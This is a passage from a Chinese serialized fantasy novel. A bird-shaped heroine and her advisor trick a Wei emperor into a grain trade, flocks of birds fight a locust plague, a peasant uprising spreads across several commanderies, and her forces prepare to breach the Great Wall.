萧宏的脸色一下子就变了,那个世出能人的庞家,难道连女眷也精心培养过吗?他丝毫不怀疑庞家女能打仗这事,毕竟庞家这个大世族,族中尽是出一些厉害人物。魏朝的文武其实分得不那么清,庞氏子弟沾过军权,也揽过朝政,他也想只处理优秀的一部分,可没法子啊,他看哪个庞家子弟都觉得此子大才不可不除。 懂了,下次搞世族,女眷不可饶。 面上很快收敛情绪,萧宏没再深谈这个话题,而是说道:“听闻苏赫大王子骁勇先登,也是他俘虏了克烈汗,二王子已是风采不凡,真不知大王子是什么样的人物。” 这话是夸,但内里意思已经很明白,苏赫忽律脸上露出阴沉之色,完全没有演的成分,甚至脱离王澈给的稿子自行发挥,恨声道:“他年长于我,早早在军中经营,虽然母家低微,可总有些人是支持他的……” 萧宏都没想到这二王子这般上道,他其实觉得话太直白就失去了一些玩权术的美感了,正待说些什么,就听苏赫忽律仍然十分直白地道:“陛下,我不说暗话,我是克烈部的公主所出之子,如今阿父尚在,已经受到许多排挤。倘若阿父去后,大哥即位,我就没有一点活路了,所以这个汗位我必争。陛下若能助我夺位,苏赫忽律承诺送还辽东和沿边一带,我苏赫部仍然居于雪域中部,不再南下。” 老头的眉毛挑了一下,“口头上的承诺罢了。” 苏赫忽律起身,再次三鞠躬,正色说道:“合作是长期的,陛下,我现在在部落里的地位不高,但是今年雪域天气异常,如果我能弄到一大笔粮食回去,我就能多一些人支持,苏赫部落本就在和大魏交易粮食盐铁马匹,阿父的信誉陛下您是知道的,三十年来从未失信于人!我愿意拿出部落明年所有新生的马匹,和今年苏赫部产出的盐铁,来换取陛下国库中的陈粮,我是使团的主使者,我签订的盟约就代表阿父的意愿,这是苏赫忽律的诚意。” 对粮食这种事,萧宏压根不在意的,农耕王朝每年都往上收取大量粮食,这些粮食又会换成官员的禄米,三公九卿的俸禄不是多少金多少银,而是八百石、一千石、两千石这些,这是粮食的计算单位,但是官员吃得了千八百石粮食吗?这些禄米又会向下铺开,喂到部曲青壮佃农的嘴巴里,铺到地方上,只是肥了世族的底气。 国库一般没什么陈粮,今年进了出去年的,最多就是三年陈粮而已,吃不坏人,但在魏帝看来这基本上是不能吃的玩意儿,拿去给官员当禄米都显得侮辱人,反而他确实很需要盐铁和战马。 萧宏自觉老谋深算,也没有看出里头的问题,正如苏赫二王子所说,合作是长期的,第一批粮食只是前期投资,对他来说很小的一点东西。就算苏赫忽律吞了这笔粮食,对他来说损失也极小,因为秋后又会有新粮入库,最后双方定下具体数目,还签订了合约,盖上了使团带来的可汗大印。 苏赫忽律刚松了一口气,就听萧宏笑着说道:“朕之爱女玉华新寡,劳二王子一路护持送她回国,这几日也常听她说起王子,如今盟约既定,也该谈谈小儿女之间的事了,听闻雪域并不在意女子贞洁……” 此事王澈亦有交代。 苏赫忽律正色道:“陛下,我若迎娶公主,诞下孩儿,是不能继承汗位的,您也清楚,雪域自三王之乱后,并无魏朝公主所生之子继承部落的事,我要图谋大事就不能有此牵连。当然,若我即位之后,陛下那时下降公主,这规矩也能更改更改,可现在不行。” 这话并没有让萧宏恼怒,反而暗暗觉得这位苏赫二王子虽然话语直白,但不失心机城府,确实有资本竞争雪域王位。 接下来的赐宴环节,仍然是苏赫忽律的主场,林一负责哐哐吃,萧宏朝这个方向看了至少四五眼,也没有认出这蛮人蛮相的女子是他心心念念的“好女儿”,只是嫌她礼仪不佳,显得不大尊重他。 吃饱喝足出了乾元殿,林一伸了伸懒腰,夸赞苏赫忽律,“嘎,忽律,今天你表演得真嘎嘎!” 苏赫忽律有些奇怪地看她一眼,我表演什么了,我觉得王先生给我的剧本完完全全就是梳理出了我的心路历程啊,就是感觉盐铁加战马的数额是不是太大了些,好像有些不大划算,还有送还辽东这些,他感觉给出去的太多了。 林一和苏赫忽律对视片刻,又看向全程没吭声的王澈,鸟瞳瞪圆了。 真正的缺德大师啊,怪不得你全程都没有说过骗粮两个字,只说“达成我们的目的”,你都没告诉他我们是来骗粮食的!怪不得那一会儿发狠,一会儿自信骄傲的,发挥太棒了。合着在小漂亮看来,这不是演戏啊! 第99章 但只犹豫了一秒,林一也加入了王澈的行列,现在人在洛都,解释了她怕苏赫忽律忍不住心虚,还不如让他自以为是。 魏朝如今还维持着些许上国尊严,但比起二三百年前的真正强盛还是有些区别,那时节小国使团来洛都,是朝贡,是求见,是万国来朝,挤破了脑袋想并入魏朝版图做魏人。而如今觐见的礼仪比那时规范多了,魏帝的威风也比先祖摆得足,可有些东西不一样就是不一样了。 回到馆驿,三天后还有一场正式定下交易盟约的朝见,这趟是想直接先带一笔粮食回去的,国库粮的调动也是一点。林一现在一到饭点就很期待,一回头却见王澈很难得从轮椅上起身,自己走回了房间,不多时换了一身月白色衣裳,叫了赵春儿和几个骑兵随同,准备出门的模样。 王澈也有交代去向的,“去见个朋友,挖个朋友,可敦想溜达的话,也可以跟来。” 林一以为是王澈又说什么她听不懂的方言了,啥叫“挖”朋友? 不过大鸟是最喜欢出门溜达的了,她马上就上了马,使团带的东西是真不多,王澈出门也没骑马,坐的是原来玉华公主的车驾,公主回宫了,车驾就空了下来。 王澈的交际圈……挺小的,他小时候在齐鲁老家,后来在洛都学宫上学,其实老家那会儿就已经把能学的全完了还自己拓展了许多功课,洛都学宫就是个世族子弟交游的平台,这两位朋友都、都不是洛都学宫的同学。 开玩笑呢,从前能和他在学宫里交往的同学那都是大世族的优秀子弟,要么在朝为官,要么回家继承一郡之地,谁会跟他走啊。 第一个朋友是个寒门子弟,王澈从前懒,洛都学宫那些死板的抄写作业懒得写,找了个字迹像他的寒门学子长期帮他写功课,偶尔指点指点学问。但其实两人都知道没用,寒门子弟连洛都学宫的门槛都进不来,唯一寄希望的就是王澈得官之后给他一个小吏做,没想到的是学宫还没毕业,王家就遭了大难。 破破烂烂的街巷里,王澈只说了几句话就领回来一个瘦弱青年,看王澈也没什么很重视的感觉,市侩的林一马上明白过来,哦哦,二等人才。 王澈整理了一下发冠,“今天我们去见的朋友,是钦天监司星吏徐百业。” 路上他给林一解释说道:“钦天监的职司为观察天象,推算节气,制定历法,劝课农桑,司星吏是夜间观察星象的吏员,我随大伯初来洛都,在钓鱼时和徐老相识。” 林一看王澈慎重的样子,压低声音问,“很厉害的人才?能平替姜命吗?” 秋后就要抢大片大片地盘了,她现在恨不得把一个姜命掰成两个用,看到人才都饿得眼冒绿光。 王澈摇头,“徐老上知天文下知地理,我虽然精研过此道,但没有这方面的天赋,他曾与我讲,命理之道所需绝非世俗之才,而要一点灵光,然后转天他便收了一个智力有损的丐女为徒。” 啊这,林一用翅尖挠了挠脑门。 白天找司星吏是不用去钦天监找的,肯定在家里补眠嘛,王澈前两天已经派人打听过,这次登门居然还亲手提了礼品盒子,有两条熏肉,两份糕点,一包茶叶一包盐,这上门礼对世族来说怪寒酸,对小吏来说就是挺实惠的馈赠。 徐百业没有妻子没有儿女,是个二十来岁傻笑着的姑娘来接了礼,熏肉挂进灶上,糕点摆上桌,茶叶和盐都收在厨房,动作有些迟钝但不出错。 傻姑娘比划着说,“爷爷,睡觉,爷爷每天、睡觉。” 老头却在屋里说:“没睡,胖丫去煮茶,叫客人进来说话。” 林一好奇地在王澈后头进去,就看到屋子里干干净净,床上被褥叠放,一个皱巴巴的白胡子老头坐在那儿,笑呵呵地说:“一别六七年,王小友长开了,异人必有异貌,你果然能回到这里来。” 王澈行了个并指折身的世族礼仪,想了想,斟酌着说道:“我离开洛都时,徐老赠我谶言一句,‘公子北行,见贪狼啸月,便得之所愿’,清仪过雁门而北行,本想栖身雪域克烈部,阴差阳错来到苏赫部落,如今还未得所愿,故此心有疑虑。” 说真的,林一这辈子第一次见王澈这样客客气气又尊重礼貌地和人说话,有些稀奇,但她对这些奇奇怪怪的东西是一点都不信的,也就感觉这老头比雪域大萨满文化程度高点罢了。 徐百业脸上的皱纹很多,几乎看不清表情,不过能分辨得出是个笑模样,声音很沧桑,“时也运也,那时世上还未有天运,老朽给公子的是最好的破局之路,那时写就的谶言,和如今的天象有所不同,当然不能再算数。” 当着林一的面,徐百业没说太多,而是给了王澈一个很普通的细麻小袋子,告诉他阅后即焚,等到傻姑娘捧着茶盘进来,他就要送客了。 林一一头雾水又跟着王澈从小屋里出来,路上王澈打开了小袋子,里面是一团竹纸,上面仍然是一句谶言。 大鸟勾着头想去看,但王澈看完就团起来了,紧紧握在手里,看起来神神秘秘的。 林一受不住这个好奇心,直接扒开他的手掌抢过去,把竹纸展开来看,上面字迹铁画银钩,正面“七杀贪狼,暴君霸王,世无天运,人道苍茫。”,反面仍然有字,像是新写就没多久,“幸天降紫微,今日紫微夺纸而观之,不识而怒”,最后的笔画微微上扬,像是写字人的心情很好。 谶言这东西,大篆写的,就是铭刻在青铜器上的那种扭七扭八繁复无比的文字,绝望的文盲大鸟磕磕绊绊认了半天,最后恼羞成怒扔了回去。 她还恼道:“迷信!你来雪域就是因为一句北行谶言吗?这是迷信!” 王澈没吭声,他在顺风顺水之时自然不信什么天命,但徐百业是唯一一个在王家风光时劝大伯离开洛都,又在王家落难时给他谶言的人,虽然他一路北行未见什么贪狼啸月,但刚才那句紫微夺纸而观之,真叫他也心里打鼓。 接下来两人都没提今天的事,林一主要是羞恼,她其实也想学学什么大小篆的,但这玩意儿是真的不如隶书简洁清晰,而且使用面也不广。就连世家藏书也是有维护的,不可能几千年下来还是同一批竹简,人家也是更新换代的,最古也是小篆写的了。 不过这种只有很少一批人还懂的文字,好像在军事上有个说法来着,加密情报? 林一马上忘记了不愉快的出行,开始研究起来,加密文字肯定不能用什么大小篆,学起来很费劲,不如用鸟文字吧! 三日后定下交易盟约,当然,名义上是国库粮,但不可能从洛都国库调配,而是就近由边郡调拨,这些收归入库的粮食就叫国库粮,尤其是武威郡,屯田面积极广。 最后还是没定下具体数额,但先期交易二十万石,后续等盐铁马匹到位,再交易翻倍到四十万石左右,如果苏赫忽律在苏赫部地位上升,那么来年后年还可以继续交易,萧宏可喜欢这个败家子了。 自洛都回返的路途上,苏赫忽律还在忧虑,他觉得自己签的交易数额太大了,这不等于苏赫部每年盐铁产出全归魏朝,而加上原有的交易,三年内的新生马匹全部归魏朝所有,虽然马的寿命有二十多年,可青黄不接的道理他也是懂的。 这不就等于苏赫部全体给魏朝打工了吗? 没人理他的小小忧虑,林一和王澈都美滋滋的,什么后续交易,他们骗的就是前期的二十万石粮。 一个夏天的时间基本就耗在路途上了,不光天热,骑马还磨裆,很受罪,但是一路上魏朝的馆驿都供应足量饭菜,偶尔自己想吃点好的加点钱,整个使团出门前带了不少黄金,是真不把金子当金子用。林一还听说靠近塔塔尔部那边有金银矿什么的,大家都懒得挖,黑石比这实用多了。 回去得挖一挖了,还有馆驿这玩意儿是好东西啊,回去得沿着各处水脉圈一些补给点了,这样方便商人行路,也能给雪域带来更多的繁荣。 再次从雁门郡过,踏上雪域的草地时,林一策马在前,骑兵在后,再次兴高采烈地唱起了《马蹄曲》:“大风吹呀吹呀吹过白羊帐。阿妈提着鞭子跑呀跑~马蹄踏碎草浪,马蹄踏碎草浪~” 此时月色朗照,草海翻浪,远处有群马奔腾,为首的男人格外高壮,呼兰旗帜飞扬,远远地听见林一沙哑的歌声,呼兰霍兰深吸一口气,口中呼啸,似在应和。 呼啸之声惊破黑夜,野生驴子旗帜迎风。 明月如水,黑帐静谧,苏赫阿那卷起竹简走出议事大帐,明月照耀在身。 雪域的夜仍旧很美。 第100章 回到雪域的第一件事当然是吃羊! 大半夜的黑帐一下子就热闹起来了,值夜的亲卫个个都有一手好厨艺,都不用去叫厨夫起床,很快就料理了两只羊,一只和土豆清炖,一只刷蜂蜜烧烤,篝火边上,林一嘎嘎地说起中原情况。 苏赫阿那很仔细地听着,林一用木棍在地上划拉地图,“你看,洛都的这个位置很好,山河环绕,渡黄河过孟津渡暂时不考虑,我们没有水军。从陆路的话,潼关和虎牢关都是关键,西过潼关可取洛阳,东线破虎牢关也是直取,但是潼关太险,虎牢关兵多,到时候具体还是要看情况定。” 阿克今年刚升的亲卫长,何况他还没有厨艺,在一旁旁听,忍不住举手发言,“可敦,这、这是我们要考虑的事吗?我们为啥要打洛都?额,不是要打回六谷部吗?” 林一恼羞地说:“六谷部讨论了多少次了,我这不刚从洛都回来,作为军事指挥官,到一个地方琢磨怎么打不是很合理吗?” 阿克马上不吭声了,他主要就是奇怪为什么会想到打洛都这种事嘛。 苏赫忽律也迷茫呢,不是才达成了一大笔交易吗?怎么会反手就想着攻打交易对象,不过他通常是遇到想不透的问题就沉默的,这样别人会以为他也懂。 林一为了证明不是单独针对洛都,地图比比划划把这一路途径的郡县山川河流都画出简笔,果然是每一个大城都想过不下四五种攻占方式,然后强调她只是想想而已。 很莫名的,苏赫忽律想起这季节草原上的野狼。 烤羊很快就熟了,林一从羊腿上割肉给众人分,蘸的是她秘制的孜然茱萸粉,茱萸是魏朝那边的东西,商队带来的,卖价不算贵,孜然是她在远东之国买的,这两种香料都要花钱买,所以供应量不多。 林一举起黄灿灿的羊身,撒上秘制香料粉,恶狠狠地咬了下去,满口都是香料油脂和肉质的香气。 次日早晨,大多数的骑兵早上都是来一些牛肉干或者肚包肉,配一碗咸奶茶,乌珠骨碌也不例外,他一个人吃三团肚包肉,灌一大壶奶茶,吃得肚子圆起来,才满足地后仰躺靠下来,等消化一段时间。 刚出门准备刷马,就听见帐子东侧远远传来惊呼声,他没去看,他基本上没有什么好奇心的。所以一直到中午,在黑帐那边看到眼圈红红的二王子,才从旁人的小声议论中知道是前克烈拔都大汗快要死了,七十三岁,很可能要寿终正寝。 ……姑且算是寿终正寝。 到晚上的时候,乌珠骨碌结束了一天的练兵,牵着他的马和牛准备出门吃夜草,夜色迷离,一袭红衣身影策马而来,掠过他身侧。 第二天,林一就听说了祝嫣然赶来照顾拔都的消息,说实话她挺震惊,不是过来送老头一程的,是真的照顾他? 因为苏赫忽律的坚持,她也劝住了自家尤物,但是不可能给拔都很好的待遇,所以就指派了个半大小子去伺候,也就端端饭盆之类,拔都要是起得来还能在帐外解决屎尿,但他大多数时间是起不来的啊。 因为夏秋季的事,那半大小子也偷懒,十天半个月想起来才去收拾收拾,也收拾得不大尽心。部落里当然不会有人怪他不上心,大家都是和克烈部打过仗的,虽然当时战损很小吧,但朋友的朋友的朋友的战马战死了,这也要算在拔都头上的。 苏赫忽律回来当夜就去看了看拔都,哭着给他擦了身,换了被褥,然后回去洗了三遍澡。 出于好奇,林一还去看了一下,关押拔都的帐子内外都被清扫了一遍,有些脏污的地方扫不干净,就撒上了草木灰,又遮丑又除臭。帐帘掀开透气,拔都身上换了干净衣物,老头明显被擦洗得很干净,已经是人事不知的模样,但嘴半张着,祝嫣然扶着他喝小米粥。 见到林一伸进来鸟头,祝嫣然朝她露出个笑脸,林一就走进去了,也不管拔都听不听得见,一屁股坐下来,问道:“祝娘子,你、我记得从前见你,你在拔都面前都……啊我说不上来,反正我觉得他对你不算好吧,怎么会想来照顾他?” 祝嫣然微微摇头,把碗底的小米粥给拔都喂下去,又给他擦了擦漏在嘴角的粥汤,等他咽下去了,才扶他靠墙半躺着。 “我在拔都大汗之前,经历过很多事情了,克烈部不算好地方,我的丈夫,有的对我很好,并不是传言的那样,拔都之前的那一个,是杀了对我很好的男人把我抢回部落的。”祝嫣然擦了擦手,将发鬓上垂落的一缕青丝拢起,“无论外面怎么说,我在克烈部的日子很好,除了有时候要陪老头睡觉。” 最后一句话是带着些许玩笑的意思说出来的,拔都也不知道这会儿能不能理解她说话,只是眼珠子动了动。 祝嫣然说道:“我很讨厌和男人睡觉,尤其他已经这么老了,恩仇不相抵,都到了这个时候了,落井下石毫无意义,给他留一些体面,于我自己也是一件体面。” 林一挠了挠脑门,祝嫣然又轻声道:“假如、假如将来苏赫大汗也到了这样的年纪,您……” 林一瞅了瞅拔都半死不活的老脸,她其实代入不进去,但是回去的路上琢磨了一会儿,忽然一拍脑袋! 都被她给绕过去了!我家尤物老了也是老尤物,不可能丑成拔都那个样子的嘛!英俊的老头儿又不是没有,扎哈额真今年都六十八了,虽老但五官轮廓还是显得很英挺,以后我的尤物肯定比他老得更好看。 为此她还专门去看了看扎哈额真。 老人正在开班教学,底下一群放牛娃叽叽喳喳,因为他教学的内容是很正统的魏语课,然后在地上划拉魏字来着,非常助眠! 林一盯着扎哈额真看,把老人看得莫名其妙,询问道:“可敦,有事情寻我?” 鸟大王声音沙哑,痛苦地说:“你居然教他们小篆,你居然教他们小篆!” 扎哈额真面露迷茫之色,教小篆怎么了?他小时候就是先学大篆小篆,再学隶书,三种魏文字的啊,这就是雪域的贵族教育,有哪里错误吗?为了避免学大篆耗时耗力又无用,他甚至是先从小篆教起的。 林一受到非常严重的伤害,她一直以为他们雪域人都是文盲,最多会说些两国语言什么的,王澈崔殊那些是人家世族从小教的高材生,没想到文盲只有她一个,只有她只认得隶书吗? 扎哈额真听她痛苦地讲述完,苍老的脸庞上反而露出理解之色,安慰道:“文字是逐渐在简化的,初学大篆之后再学小篆会容易许多,先学小篆再学隶书同理,但要是一开始学习了简单的隶书,再看复杂的文字就比较艰难了。何况现在隶书是通用文字,只是我想给孩子们打打基础,以后看些古籍也方便,不用找人翻译。” 这样林一就好受了一些,但她狠了狠心,还是没说要来学小篆什么的,她没有时间。 夏季就要结束了,秋收之后是她定下的夺取雍西的时间,整个苏赫王部厉兵秣马,军演频繁,只等粮食到账,秋收乱起,就要趁火打劫。 呼兰霍兰是作为特邀南军过来参与军演的,林一早在之前就发现了,呼兰霍兰的个人武力非常出众,具体到什么地步,她一头人鸟双形态的变异数值怪,和呼兰霍兰在一张桌子上掰手腕,一个不注意可能被翻盘。 当然具体到打仗的事上,不是掰手腕的问题,呼兰霍兰赤手空拳时是博克高手,手里一旦有兵器,那他就是全场之王,长兵武勇,短兵灵活。那么高壮的一个人,赵春儿这样的刺杀好手都比不过他敏捷,这数值不削能玩(?)啊不是,这在战场上就是一台战线推进机啊! 个人武力之外,他带兵也是又阴又猛,穿刺绕背分割是基本操作,最重要的是,一旦他决定攻占什么目标,跟着他的人只要负责割草,这就是个开无双的玩家。 之前的军演林一几乎已经玩腻了,因为无论什么时候,只要她在的一方基本就已经定了胜局,骑兵们不想着如何翻盘,光想着怎么分队,而部落里实在没有能和她比军事谋略的对手,现在有了呼兰霍兰,才有了真正的南北军对峙之局。 今日军演,呼兰霍兰分到半数兵力,不少人挤破了头都想挤到他身边去,这样拿的人头多啊!也就是军演不动刀兵,不然有这样的主将拼杀在前,亲卫都不用护卫他,也都跟着补刀割草了。 呼兰霍兰手握一团黏糊糊的牛粪草木灰混合物,身上绸衣光彩,专门打理过的一头小辫子佩彩宝发饰,他今天出门前还洗了个热水澡,但是今天北军指挥官是苏赫铎,不是他心心念念想见的人。 他对着乌泱泱的大军露出一个残忍的笑容。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 100-110 第101章 苏赫铎心里其实不怎么虚,他年长于呼兰霍兰,就呼兰部那个情况,他带过万人以上的军队吗?平时有输有赢,那是因为他没上。 他凶狠地对着呼兰霍兰的大军进行了一系列操作! 分兵切割战场→冲入敌阵↑战术后退←绕后突袭↘试图包围↗亲卫死战←→连人带马被掀翻↘仰望天空′-‘。 本以为已经结束了,苏赫铎看到呼兰霍兰的脚朝着自己过来了,还以为他要扶起自己,没想到的是,才伸出手准备起身,就被一脚踹了回去。呼兰霍兰冰寒着面容,脚踏在苏赫铎胸口,伸出那只已经在别人身上抹得快干净的手,俯身在苏赫铎脖子上来了一道。 苏赫铎有些呆滞,他都已经输了啊!输完还要斩首吗?是不是有点过分了啊! 呼兰霍兰压根没有理会他,也没有和苏赫部人打好关系的意思,无视了那些想要过来和他套近乎的战时亲卫部从,起身大步离开了。 还是呼兰骨过去扶起的苏赫铎,单说呼兰骨可能大多数人都想不起来这是谁,但是要说这是庞半天的六个男人之一,那么大部分人应该都会想起他……了吧。 苏赫铎用湿水的毡布擦干净脖子,一边擦一边抱怨道:“阿骨,你们族长是不是一直这样不近人情,这是军演也就算了,要是真的打仗,他都不留俘虏的吗?” 呼兰骨愣了一下。 苏赫铎也愣了一下,“你们呼兰部落真不留俘虏啊?” “啊这,也没人和我们打仗啊,哪个知道打仗的规矩。”呼兰骨是个性格有些爆的年轻小伙,说话语速也快,“以前我们住克烈部地界上,老族长还在那会儿说是克烈部把地盘扩张到我们部落了,百多年间就打了那么一次。” 苏赫铎马上很感兴趣地问,“结果呢?怎么打的,输赢怎么样?” 呼兰骨迟疑地说:“大王子,我是说,如果啊,如果我们部落输掉的话,我们会不会不叫呼兰部落,叫克烈部了呢?” 苏赫铎一拍脑袋,他被呼兰*霍兰打懵了都,毡布擦干净脖子上的混合物,他还是有些不敢置信。 “我这几年常常听人说起呼兰霍兰,可是那都是他打架的名声,他以前没打过仗吧?怎么打起仗也这么凶。” 呼兰骨与有荣焉,压低声音说:“天生的,现在苏赫部不让提萨满的事了,不过我们部落以前住过一位大萨满,据说那会儿我们霍兰大哥才出生,附近百里的狼群都围过来,大家都想去打狼,但是大萨满说这不是袭击部落,而是……” 苏赫铎竖着耳朵听,呼兰骨声音压得更低了,“而是群狼见王!这不克烈部的旗帜是狼头嘛,老族长就不让说,我们呼兰部落的旗帜是野驴,应该是个野驴王,怎么会是狼王呢对吧?” 苏赫铎连忙点头,催促着说:“然后呢然后呢?” 呼兰骨神神秘秘的,还想说什么,忽然看见不远处呼兰阙利正在抱着妻子骑马,脸立马瘫了下来,再没什么说秘闻的兴趣,很敷衍地回了几句就走了。 尊贵的大王子气得在后面跳脚。 六月末尾,天将近秋,今年魏朝大半国土滴雨未下,全靠农民肩挑手提打水浇地,才让粮米长得还算茁壮,但这样的气候正好到了蝗虫的爆发期。 自西北起,先是小规模蝗灾渐起,接着蝗虫聚拢形成大规模灾害。飞蝗难捕,每每吃空一处就飞往下一处,地里粮食还没长成,许多农人就开始抢收,多少要保住一些收成。 辽东那边,姜命亲自下田,带领农民扑杀蝗虫,人力扑杀,火烧土埋,各种方法都试用过了,但往往这批蝗虫还没扑杀干净,就又聚拢了一批,蝗虫如云,覆盖天地。 蝗灾这种事,每隔几年就要发生一次的,有大有小,文献记载时常有“岁大旱”“大涝”,其实也有“大蝗”的说法。 今年的蝗灾远超姜命之前预计的那样,是非常大规模,绝对要记载入国史的大蝗灾。 与此同时林一策划好了攻入雍西的计划,就匆匆带了大桶羊油出发了,鸭叫、不,凤鸣在苏赫王部上空响起,很快群鸟飞至,簇拥得林一高大如同直升机的身影逐渐飞远了。 这也是她的计划,秋收后人要打仗,秋收前鸟也要打仗!当然,对鸟来说是吃自走餐。 关中平原是蝗灾最新席卷之地,这里良田无数,地里稻麦青青,远不到收获的时节,农人几乎不眠不休地捕蝗,累了困了就睡在地里,有的人家打来草叶覆盖庄稼,有的人家想着落袋为安,哭着收割青粮。 连平时村头村尾玩闹跑跳的孩童都不闹了,小小的一只也跟着家人下田,在地里翻找虫卵,找出来就踩扁或者聚拢成一团烧掉。 几个光屁股小孩正在把找到的蝗虫卵一把一把聚在地上,大一些的孩子举起打火石正准备点火,忽然有一只麻雀飞落,也不怕人,蹦跳到土坑前啄走一粒蝗虫卵。 接着簌簌的鸟群飞落,大一些的鸟基本都不去啄虫卵,而是直接捕食蝗虫!吃得肚子都圆乎起来,就歇一歇,消化了再吃。 关中的农人全都惊呆了,从他们的视角来看,远远的只见一只巨鸟带领铺天盖地的鸟群冲入蝗云之中,惊得蝗虫四散,鸟群也跟着四散去吃虫。从前靠人力三五天都打不干净的蝗虫,半个时辰不到就飞得几乎看不见了,鸟群又再度飞走,去追捕下一个蝗云。 上了年纪的老人忙拉着村邻叩拜,“这是、这是神鸟降世,快给神鸟大人烧香上供,去杀头猪,还有鸡鸭鹅……算了算了,多杀猪吧。” 老人眼睛还行,看那头停在田垄上的神鸟大人非常明显的鸡头,有些迟疑,还是决定不杀家禽了。 林一这会儿还没走,她摆摆翅膀,低头用喙梳理战蝗时弄乱的鸟羽,今天吃虫已经吃了三五十斤,吃得很饱了。不过她也明白的,这些上供的东西只会供一会儿,这会儿天还是热,东西不会放到第二天,晚上村人就会分吃掉。 之所以这样有经验,是因为第一次的时候她觉得蛮不好意思,看人家供得那么虔诚,又怕凤鸟故事还没传过来,口吐人言吓到村民,就决定夜里去偷偷吃掉供奉的三牲果礼,然后就在村里祠堂看到了分食供品的村人啦╮(╯_╰)╭。 吃掉供品挺好的,这些人实在太瘦了,养胖一点才健康。 半个秋季的时间,林一都在以鸟治蝗,实际上不是她指挥啊,她只是见到鸟群就驱赶到有蝗虫的地方。这里的鸟脑壳很小的,看到虫子自己就会去吃,然后吃习惯了,鸟们就会下意识跟随林一,知道跟着她有虫吃,等没虫吃了就会散掉。 可鸟力有穷尽,她和鸟就算不眠不休,也最多能治理一些蝗灾严重的地界,将一个能记载入国史的“大蝗”,程度减轻到十年一度中等蝗灾的地步,而这样规模的蝗灾,到了魏朝朝堂之上就不一样了。 司农官原本姓庞,是去年才换的一个魏帝心腹,在各地上报蝗灾之后,马上上奏,称“今岁有蝗,感天子恩德,不食粮谷,自饿而死。” 萧宏不是傻子,反正品出个意思来:今年有蝗虫,蝗灾不算大。那就歌功颂德就完事了。 他还挺高兴的,事后还教训司农说,“上奏得早了,蝗虫绝食听起来不甚靠谱,郡县上报的飞鸟食之,更可以彰显朕的德行感动上天,派飞鸟食蝗,救朕子民,着太史记时,就用朕这个方案。” 司农虚心听讲,接着就听萧宏道:“遭灾的地方,今年下令减免一些田税,不减朕的,朝里这么人等着禄米,减了不好看,还是叫郡县世族免些地租,酌情减。” 司农一愣,萧宏不高兴道:“怎么?” 这年轻官员心里那一点犹豫就被天子的威严眼神给吓退回去了,但心里却门儿清,郡县之中皇权轻,明明是皇帝的份减免了都不可能减免世族的,这旨意发下去也无非是皇帝面上好看些罢了。 各地捕蝗的同时也开始抢收五谷,原本遭蝗灾严重的地区还指望能减免税赋,却只得到一纸空文,等到世族派人来收税,又爆发了几场小规模的反抗。 七月中旬,陕西天水郡甜谷县小张村里,三十二个饥肠辘辘的佃农打死了一名县里世族派来收粮的子弟,举起锄头踏着尸体发出怒吼。 “王侯将相,生来奏是这个种嘞?额不信!” 平淡无奇的一个秋季,公子王孙携美姬秋游,世族贵女相看良人,朝堂诸公等着下发今年的禄米。天水郡守上报县中有佃农作乱,啸聚为匪寇,竹简到了魏帝案头,看到可笑的三十二人这个数目,萧宏打了个哈欠随手放到一边,喝了一口妃嫔送来的冰镇枸杞莲子燕窝汤。 英雄拔剑,苍天应劫。 第102章 秋收刚过,浩浩荡荡的农民起义在陕西率先爆发,随后遭遇重蝗灾的十几个郡接连响应,郡中世族私兵部曲有的很快将这些乌合之众打散,有的当众处刑,有的勉力抵抗,有的把乱民赶去别处,也有的郡望世族很拉跨,直接被占据了郡城。 作为第一个爆发起义的郡,天水郡守李世被砍下了脑袋,郡中大大小小的世族来不及跑的被屠戮一空,杀红眼的农户挥舞着锄头镰刀乃至木棍房梁,冲入郡城“见绸衣者即打杀”。 起义军首领朱大方与其弟朱二脑袋占了郡守府,因为极度痛恨世族,甚至连美人计都没吃,世族贵胄不分男女老少尽数杀死。周边村县跟着来的佃农流民们也都打定主意做个饱死鬼,每天在世族府邸里胡吃海塞,等着朝廷派大军来把他们剿灭,爷爷就在这儿,人死鸟朝天,就是不跑! 然后半个月过去了,并没有大军过来剿匪,甚至其他地方也都乱了起来。 更甚至,有的郡里流民占不到便宜,没打过世族部曲,都跑来天水郡投靠朱家兄弟了,人数从三五十个渐渐变成动不动几百流民入城求见,朱大方和朱二脑袋也是佃农出身,但兼职给村里杀猪,所以平时在村里颇有威望,可哪里见过这样大的阵仗,他们现在手底下都快聚集十多万人了。 两兄弟一合计,抓了个寒门子弟过来当军师老三,自古以来匪寨的军师都是老二,可朱家兄弟当然是老大老二,这老三也不嫌弃,对着天水郡的地图比比划划。天水郡周边三个郡:金城郡、陇西郡、安定郡,再远还有一个北地郡,值得一提的是,林一这次的目标武威郡就在金城郡的西北方位。 这不是完全无关的,各郡有守军,兵力如何暂时不说,明面上数目不小。之所以流民作乱大部分是被世族私兵打扁的,是因为守军也是苦出身,打世族啊!他不去帮着作乱就已经不错了,但你雪域这边来犯,守军是肯定会重拳出击的。 兵如水势,你这边的兵力被调走了,那空出来的地方,岂不是就和白捡一个样? 总之秋收过半,林一在那边收拾骑兵行囊准备出征前,天水郡起义军也一拍脑袋定策:分兵!朱大方带一路军攻陇西郡,朱二脑袋带一路军打金城郡,老三守家,等那边两面打下来后,就出兵打下安定郡,是的,就是这么猛! 朱二脑袋路上还琢磨呢,打下金城郡后,要是还有余力,就把那地图上画的武威郡也一起打了,他是天水郡人,这辈子都没出过郡,也不知道啥是屯田之所,啥是军事重镇。只看得到这一路上都有无数兄弟加入起义军,他的队伍很快从三万变成了五万……于是还没走到金城郡,就没有粮食吃了,只能让一部分人折返去调天水郡的粮。 那边林一选择从西线沿河过居延海抵达长城终点,辛辛苦苦扒出一条可供战马通行的道路,是的,长城是可以扒的。好多地段的长城修得都不好,尤其和雪域离得近的,我这儿土是沙土,你那儿不也是?沙土垒砌石块而已,之所以说长城难过,主要是城头上有人往你头顶倒煮开的金汁的情况下,扒长城是冒死的活儿。 但这一段长城,没有成规模的守军,听说之前是有的,但是边塞苦寒,克烈部又常年在云中定襄那一带活动,自打叶朔老元帅去世后,这一段的守军就没人来送军饷了,渐渐地连补给都断了。前两年熬不住,年轻些的都跑干净了,剩下些老的残的养活自己都困难,林一带人扒长城的时候,老兵就坐在那儿哭着骂。 扒城墙的主力是呼兰霍兰带领的野生驴子们,林一扒了会儿就吃起蝗虫来,她专门带了几车的蝗虫吃,有盐焗的有油炸的,这玩意儿喜欢吃的一直吃得停不下来,不喜欢吃的看一眼都要吐。 